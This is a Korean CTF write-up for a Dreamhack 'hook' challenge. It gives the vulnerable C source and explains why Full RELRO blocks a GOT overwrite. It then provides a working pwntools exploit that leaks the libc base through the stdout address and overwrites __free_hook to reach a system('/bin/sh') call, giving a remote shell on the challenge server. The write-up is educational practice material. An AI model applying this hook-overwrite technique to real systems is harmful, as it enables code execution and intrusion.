code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}

main 함수의 마지막 줄에 system("/bin/sh");가 있다. 하지만 바로 직전에 free(ptr);을 두 번 하면서 double free로 실행이 먼저 종료된다.
exit의 GOT을 overwrite하고 싶었지만, 보호기법이 Full RELRO로 걸려있어서 불가능하다.
대신 free의 hook을 구해서, 다다음 줄로 넘어가도록 바꿔보겠다. 여기서 hook은 해당 함수를 실행하기 전에 먼저 실행되는 함수이다.
- hook을 구하려면 libc base를 구해야 하고, 이는
stdout의 주소를 통해 구할 수 있다!!
exploit
from pwn import *
p = remote('host3.dreamhack.games', 10937)
e = ELF('./hook')
libc = ELF('libc-2.23.so')
p.recvuntil(b'stdout: ')
leak = int(p.recvline()[:-1], 16)
lb = leak - libc.symbols['_IO_2_1_stdout_']
free_hook = lb + libc.symbols['__free_hook']
# free_hook을 main 함수의 system 함수가 있는 줄로 옮기자!
data = p64(free_hook) + p64(0x400a11)
p.sendlineafter(b': ', b'16')
p.sendlineafter(b': ', data)
p.interactive()